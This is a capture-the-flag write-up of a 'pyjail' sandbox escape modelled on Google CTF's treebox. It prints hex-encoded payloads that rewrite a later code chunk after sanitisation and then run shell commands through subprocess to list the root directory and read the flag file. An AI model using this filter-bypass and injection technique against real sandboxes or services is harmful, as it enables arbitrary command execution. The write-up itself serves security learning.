Not a last minute Pyjail
In this challenge we need to solve a pyjail that looks very similar to another pyjail. From the very beginning, this pyjail hints that it was ripped from another CTF.
Mind games
The challenge description comes with the notice:
This jail was totally not made last minute (based on gctf treebox)
The title also hints that this was quickly put together.
Opening the file, we notice a copyright notice from Google in 2022.
# Copyright 2022 Google LLC
...
# Flag is in a file called "flag" in cwd.
The rest of the code looks extremely similar except for 3 major differences:
- The AST is filtered on a whitelist rather than a blacklist
- The characters
@.()#
are banned - The code is run in chunks delimited by
--CHUNK
As you probably guessed by now, this challenge has nothing to do with previous challenges.
The exploit
When we run exec
we get access to the current context, so we could modify the code contained in the second chunk after it got sanitized.
The code
We want to encode all our characters as hex to bypass the filters.
let’s inject
import subprocess;
p = subprocess.Popen("ls /", stdout=subprocess.PIPE, shell=True);
(output, err) = p.communicate();
print(output)
The code we give netcat is:
chunks[1] = "\x69\x6d\x70\x6f\x72\x74\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x3b\x70\x20\x3d\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x6f\x70\x65\x6e\x28\x22\x6c\x73\x20\x2f\x22\x2c\x20\x73\x74\x64\x6f\x75\x74\x3d\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x49\x50\x45\x2c\x20\x73\x68\x65\x6c\x6c\x3d\x54\x72\x75\x65\x29\x3b\x28\x6f\x75\x74\x70\x75\x74\x2c\x20\x65\x72\x72\x29\x20\x3d\x20\x70\x2e\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65\x28\x29\x3b\x70\x72\x69\x6e\x74\x28\x6f\x75\x74\x70\x75\x74\x29"
--CHUNK
1 + 1
--END
We find that the flag is located in /flag.poyvHVzi1MUB72nR0gly.txt
Let’s modify our injected code cat
import subprocess;
p = subprocess.Popen("cat /flag.poyvHVzi1MUB72nR0gly.txt", stdout=subprocess.PIPE, shell=True);
(output, err) = p.communicate();
print(output)
The code we give netcat is:
chunks[1] = "\x69\x6d\x70\x6f\x72\x74\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x3b\x70\x20\x3d\x20\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x2e\x70\x6f\x79\x76\x48\x56\x7a\x69\x31\x4d\x55\x42\x37\x32\x6e\x52\x30\x67\x6c\x79\x2e\x74\x78\x74\x22\x2c\x20\x73\x74\x64\x6f\x75\x74\x3d\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2e\x50\x49\x50\x45\x2c\x20\x73\x68\x65\x6c\x6c\x3d\x54\x72\x75\x65\x29\x3b\x28\x6f\x75\x74\x70\x75\x74\x2c\x20\x65\x72\x72\x29\x20\x3d\x20\x70\x2e\x63\x6f\x6d\x6d\x75\x6e\x69\x63\x61\x74\x65\x28\x29\x3b\x70\x72\x69\x6e\x74\x28\x6f\x75\x74\x70\x75\x74\x29"
--CHUNK
1 + 1
--END
Flag
vsctf{PYTHONNNNNN_SO_FUNNN}